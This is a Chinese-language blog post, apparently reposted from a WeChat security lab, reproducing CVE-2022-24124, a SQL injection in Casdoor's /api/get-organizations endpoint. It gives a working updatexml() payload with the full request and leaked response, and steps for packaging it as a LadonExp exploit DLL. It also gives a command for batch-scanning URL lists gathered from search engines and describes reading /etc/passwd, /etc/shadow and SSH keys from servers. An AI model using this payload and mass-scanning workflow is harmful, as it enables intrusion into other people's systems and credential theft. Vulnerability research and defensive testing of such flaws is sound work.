关于 CVE-2022-24124
Casdoor 是一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台,其 Web UI 支持 OAuth 2.0 / OIDC 和 SAML 身份验证。
根据GitHub 安全公告,低于 1.13.1 的 Casdoor 版本容易受到此 SQL 注入攻击。
SQL注入分析
由于对参数中用户提供的输入验证不充分,查询API中存在该漏洞field
,远程攻击者可以通过访问公开可用的/api/get-organizations
端点在参数中插入任意 SQL 查询来触发该漏洞field
。
提供给field
参数的用户输入被插入到原始 SQL 表达式中,该表达式依次执行导致 SQL 注入漏洞的查询。研究人员通过检查以下代码行确定了该漏洞:
field
获取字符串数据,函数正在格式化该数据,有关 SnakeString 函数的详细信息可以在文件中找到。
开发POC
可以通过注入 XPATH 函数 ex 来利用该漏洞。字段参数内的 UpdateXML() 或 ExtractValue() 生成错误并获取查询输出。
MySQL 中的 UpdateXML 函数采用三个参数UpdateXML(xml_target, xpath_expr, new_xml)
,攻击者可以在第二个参数(即 XPath 表达式)中注入 SQL 查询xpath_expr
。
类似地,ExtractValue() 函数采用两个字符串参数ExtractValue(xml_frag, xpath_expr)
,其中可以将查询注入第二个参数。
每当 XPATH 查询的语法不正确时,我们都会收到一条错误消息,转储 SQL 查询的输出:
0x001 POC发包如下
REQUEST:
GET /api/get-organizations?p=123&pageSize=123&value=QualysWAS&sortField=&sortOrder=&field=updatexml(null,version(),null) HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
RESPONSE:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Origin
Access-Control-Allow-Methods: GET,PUT,PATCH
Access-Control-Allow-Origin:
Access-Control-Expose-Headers: Content-Length
Server: beegoServer:1.12.3
Date: Wed, 02 Mar 2022 18:31:56 GMT
Content-Length: 1963
Content-Type: text/html; charset=utf-8
Connection: close
<html>
[..SNIP..]
<body>
<div id="header">
<h2>casdoor:Error 1105: XPATH syntax error: '.12-MariaDB-0+deb11u1'</h2>
</div>
<div id="content">
0x002 LadonExp测试漏洞
AddURL填写POC 测试单个URL查看漏洞回显特征
/api/get-organizations?p=123&pageSize=123&value=QualysWAS&sortField=&sortOrder=&field=updatexml(null,version(),null) HTTP/1.1
在 HTTP 响应中,我们可以看到version()
XPATH 语法错误中的函数输出,但输出被截断并在响应中显示有限的字符。熟练的攻击者可以使用诸如substring()
可用于从具有指定长度的指定偏移量中提取部分字符串的函数来绕过此限制。
LadonExp生成EXP
PocTag填写<h2>casdoor:Error PocName填写ISVUL
然后点击生成DLL,对存在漏洞URL测试成功回显ISVUL
PS:生成的dll,建议改名为对应漏洞编号,方便以后使用
0x003 Ladon批量检测漏洞
通过相关搜索引擎,导出该产品URL资产,使用以下命令批量检测,存在漏洞返回我们指定的漏洞名称,如ISVUL,不存在漏洞返回Html源码。
Ladon48 url.txt LadonPoc48.dll
0x004 任意文件读取
Qualys WAS 开发了一个PoC,绕过有限的字符输出限制并转储文件的全部内容/etc/passwd
,类似的敏感文件内容/etc/shadow
也SSH keys
可以从应用服务器转储:
原文始发于微信公众号(K8实验室):LadonExp复现CVE-2022-24124 Casdoor SQL Injection
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论